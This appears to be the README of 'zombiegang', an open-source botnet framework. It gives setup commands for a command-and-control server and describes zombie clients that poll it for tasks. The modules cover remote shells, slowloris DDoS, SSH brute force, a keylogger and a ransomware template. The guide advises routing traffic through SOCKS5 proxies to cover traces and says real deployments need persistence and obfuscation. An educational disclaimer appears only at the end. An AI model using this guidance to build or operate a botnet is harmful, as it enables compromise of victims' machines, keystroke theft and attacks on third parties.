The extensible botnet framework
Explore the docs »
Kickoff
·
Report Bug
·
Request Feature
Table of contents
Zombiegang is a botnet framework written mostly in Python and PHP. It supports asynchronous communication between cc and zombies, remote-shell live sessions and task scheduler. It also has a plugin manager, which comes with some modules pre-included to perform most typical attacks (DDoS, bruteforce and keylogger). This modular approach allows anyone to extend features by writing his own modules (I will appreciate any contribution).
The Command and Control server is a semi-CRUD API written in php, which manages database read/write operations and authentication. This schema also allows to separate the front-end, which resides entirely in the client used by masters.
Several kind of clients could be used to admin the botnet, and several kind of "zombie-clients" could co-exists too.
- master clients: cli and web-based. The webclient is a light flask app focused on browse db info and schedule tasks. The cli client is intended to run remote-shell live sessions with one or more zombies simultaneously. Both of them support proxy configuration to reach cc-server anonymously.
- zombie clients: by now, we only have a python client. Take note that you can write a zombie in the programming language of your preference, you just need to write a simple http client to communicate with API and maybe add some "zombie routines" (you can take the python client as an example). Again, any contribution would be welcome.
This is just a simple way to kickstart all the initial stuff. Obviously, in production environments you can use separate servers for DB and CC, and replace the http server for something like Apache or Nginx.
git clone https://github.com/r3nt0n/zombiegang.git# step 1 and 2 are optional, only if mariadb not installed yet
sudo apt-get install mariadb-server, mariadb-client
sudo mysql_secure_installation
# change db default password and creates db structure
cd cc-server
nano api/config/data/init.sql
sudo ./initdb# log into mariadb with the password you just set in init.sql
mariadb -u zgang -p
use zgang;
insert into Masters SET username = '<your-username>', public_key = '<public-key>';
exitNote: By now, when creating the new row you shouldn't specify any password, we will create it later. As another note, the public_key can be an empty string, since PKI logic isn't implemented yet.
Optional: if you want to dump some mocked zombies into db for testing purposes, execute this file:
./dump-testdataNow you need to start the http server that will act as a proxy, allowing masters and zombies to interact with this db.
When editing database.php, you must set an IP/hostname pointing to db in $host, and the password you have just created to access it in $password (optional, if you changed db name and/or db user defaults, updates $db_name and $db_user too).
When editing core.php, you must change $key to a random string of your choice. This value is used for JWT tokens encode/decode operations.
cd cc-server
# Edit this file to match your db config
nano api/config/database.php
# and create your own secret-key
nano api/config/core.php
# For testing purposes, you can use the simple http server provided by php
sudo php -S 127.0.0.1:8080Now you should have the cc-server listening on port 8080 and connected to the database created before.
Note: You can disable masters access logging in core.php
# install zombieclient dependencies
cd zombie-client
pip install -r requirements.txt
# edit config to set cc-server url
nano app/config.py
# to run the zombieclient
python3 run.pyWhen editing config.py, you need to set self.credentials['cc_url'] to the URL and path that point to api dir located in your cc-server:
self.credentials = {'cc_url': '<your-url>'}
# example:
self.credentials = {'cc_url': 'http://192.168.1.131/api'}
After run the zombie you should have an output similar to this:
zombie first wake up
Although it may seem like an error, this is expected behavior. Actually, the zombie has successfully created its user but, until we "allow it to enter", he will not be converted to zombie and will not be able to log in with that role into the cc server. We will cover how to accept zombies into the botnet using the master-client.
Zombies will send info about themselves on every boot and check regularly for new tasks, they just keep asking and serving to the cc-server forever (in fact, until you kill this process).
In real scenarios, you will also need persistence, obfuscation and probably compilation (since Python is not available by default on most systems).
# install masterclient (web-client) dependencies
cd master-client
pip install -r requirements.txt
# to run the masterclient (web-client)
./run.shNow you should have a Flask app running and listening on port 5000. Browse to http://localhost:5000 and check it. Once inside, you will see something like a desktop. You can enable/disable proxy configuration and login to the botnet with the aproppiate software (proxy.exe and zgang.exe).
If you want to cover your trace, use the built-in proxy tool to connect to cc-server through the socks5 proxy of your choice:
proxy configuration example
On this stage you are going to create your master password: with zgang.exe, create a user with the same name used in your master profile. Now you are logged in as master and can start to admin the botnet.
Note: Mozilla Firefox and Chromium are the recommended browsers, any other could work but won't be officially supported. Some visual features (e.g.: emojis, form elements...) could vary across different browsers.
If you go to zombies section, you can see the new zombie requests to join the botnet that are awaiting your reply and the lists of zombies already joined. Here is where we can accept the zombie created before.
You can schedule tasks and the zombies will receive this info as soon as they go online and refresh his "assignments". If the task was scheduled to be executed in future, the zombie will save this homework and run the task when the start time comes. You also can schedule stop datetimes.
There are special fields in DB which are designed to be nested values, so you can create new fields inside without touching any config (e.g.: Tasks.task_content,Zombies.sysinfo)
zombie report example
Additionally, you have a cli client (keeping msfconsole style) to login to cc-server and run remote-shell live sessions with online zombies, you could also connect through a socks5 proxy (like in web-based client) setting PXHOST and PXPORT before login.
# to run the masterclient (cli)
python3 cli.py
simple cli live session example
⚠️ zombiegang is still on development phase, some features wasn't tested under all possible scenarios yet. Any reported bug could be helpful.
From a db point of view, tools and attacks are nothing more than customized tasks. Here is the actual list of customized tasks and subtypes included in the framework:
cmd: execute remote commands on one or more zombies simultaneoslyrsh: start remote shell live sessions with one or more zombies simultaneosly (manages delay between zombie's update requests, allowing them to reply immediately, and toggle off at the end of session)dos: ddos attacks, implemented and workingdos/slowloris
brt: brute force attacks, implemented, still need some refactor on master-client to create tasksbrt/ssh
rsw: ransomware attacks, to be implemented (by now, just an example template)
By his nature, keylogger module is an special task and doesn't inherit from the base class Task. By now, logic to log keypresses and create logs into cc-server is implemented in zombie-client (windows and linux systems). To be implemented:
- logic to start/stop keylogger remotely
- logic to show logs created by zombies on the master-client side
- Fixing bugs
- brt module implemented but still need to finish both master and zombie sides
- Improving features
- Implement tasks details view in master
- Implement keylogger on/off manual switch
- Implement keylogger logs view in master
- Extra features
- Implement PKI for master and zombie authentication
- Improve docs
See the open issues for a full list of proposed features (and known issues).
Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated.
If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!
- Fork the Project
- Create your Feature Branch (
git checkout -b feature/AmazingFeature) - Commit your Changes (
git commit -m 'Add some AmazingFeature') - Push to the Branch (
git push origin feature/AmazingFeature) - Open a Pull Request
For more information, please check the contribution guidelines page.
-
last development version (available on Github)- Improving doc style
- CONTRIBUTING.md created
- Refactoring zombie-client to more efficient task result reporting
- Task stop point scheduling implemented and working
- Bruteforce attacks (ssh module) implemented but still need to finish both master and zombie sides
- Enhancing logging logic and messages in zombie-client to make easier debug processes
-
zombiegang_0.5.1~beta (27/07/2022)- Fixing php-jwt dependency bug while cloning from Github (deinit submodule)
- Fixing indent error on http-client (zombie-client)
- Improving docs
- Fixing README style
-
zombiegang_0.5.0~beta (25/07/2022)- Fixing php-jwt dependency
- Improving documentation to release
- General updates and fixes
-
zombiegang_0.1.0~beta (13/02/2021)- Autorecon and zombie detailed information view implemented
- Starting to implement bruteforce module
- Turning os field into sysinfo (nested field)
- Adding error views in master client
- jwt-token expired time changed from 1hour to 10min
- improving zombie structure, first scratches on zgang-console and remote shell live sessions
- extending zombie-client brain operations: task scheduler, task manager, plugin manager and data models to create custom tasks implemented). in cc-api: missions operations extendented, improving db configuration (trigger to update manual stop in missions if update in task)
- master-client: flask-wtf implemented, ddos attacks filter and creation implemented, improving templates and general project structure, desktop icons and xp blue/aeros taskbar added. cc-api: tasks and missions logic implemented, improving db configuration (foreign keys to link missions with tasks, trigger to update zombies ip and country codes after insert on AccessLogs)
- zombie-client: basic autosetup operations implemented (write, load and generate settings/credentials), first scratch on threads
- master-client: app factory and blueprints implemented, trying to implement flask-wtf
- in master-client: improving structure,responsive design implemented, jquery and ajax implemented, add some javascript functions, proxy configuration implemented, welcome-notifications zombies logic implemented. php-api almost finished, first scratches with zombie client
- flask-client: structuring windows and forms, ddos and brute attacks forms implemented
- header added, launchers moved to central panel
- table resizable and checkboxes logic implemented + aoe icons + gothicpixel font
- first commit - php-api: jwt-auth and CRUD operations implemented. flask-client: basic features
r3nt0n: Github - email
zombiegang: Github
- php-jwt module
- Javascript code for resizable table found here
- Pixel Gothic font by Kajetan Andrzejak
- Verily Serif Mono by Stephen G. Hartke
- CSS sheet is based on css win98 by Jordan Scales
- Age of Empires icons found here
- mIRC icon designed by Pixel perfect
- All pictures were found on the Internet
This is a personal project, and is created for the sole purpose of security awareness and education, it should not be used against systems that you do not have permission to test/attack. The author is not responsible for misuse or for any damage that you may cause. You agree that you use this software at your own risk. I don't own the rights of any image included, is just a funny tribute to some iconic legends (if you are the owner of any resource and want it to be removed, please contact me and I will do as soon as posible). You can't distribute this app with commercial purposes.
Distributed under the GNU General Public License v3.0. See LICENSE for more information.